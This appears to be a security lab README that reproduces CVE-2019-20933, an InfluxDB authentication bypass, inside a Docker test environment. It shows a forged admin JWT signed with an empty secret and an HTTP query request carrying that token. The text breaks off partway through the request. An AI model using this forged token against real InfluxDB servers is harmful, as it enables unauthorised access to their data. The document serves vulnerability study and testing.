# InfluxDB Empty JWT Secret Key Authentication Bypass (CVE-2019-20933)
[中文版本(Chinese version)](README.zh-cn.md)
InfluxDB is an open-source time series database developed by the company InfluxData.
InfluxDB before 1.7.6 has an authentication bypass vulnerability in the authenticate function in `services/httpd/handler.go` because a JWT token may have an empty SharedSecret (aka shared secret).

## Vulnerable Environment
Execute following command to start a InfluxDB 1.6.6:
```
docker compose up -d
```
After server is started, you can see some debug information in `http://your-ip:8086/debug/vars`. But you are unable to execute SQL statement without authencation and a 401 error is responsed:

## Vulnerability Reproduce
We can use <https://jwt.io/> to generate a valid JWT token with an empty secret key:
```
{
"alg": "HS256",
"typ": "JWT"
}
{
"username": "admin",
"exp": 2986346267
}
```
Where `username` is the administrator account name, and `exp` is the token expiration time. You should set `exp` to a future time to make it effect:

Then take this token to the request, and success to execute SQL statement `show users` in the server:
```
POST /query HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyOTg2MzQ2MjY3fQ.LJDvEy5zvSEpA_C6pnK3JJFkUKGq9eEi8T2wdum3R_s
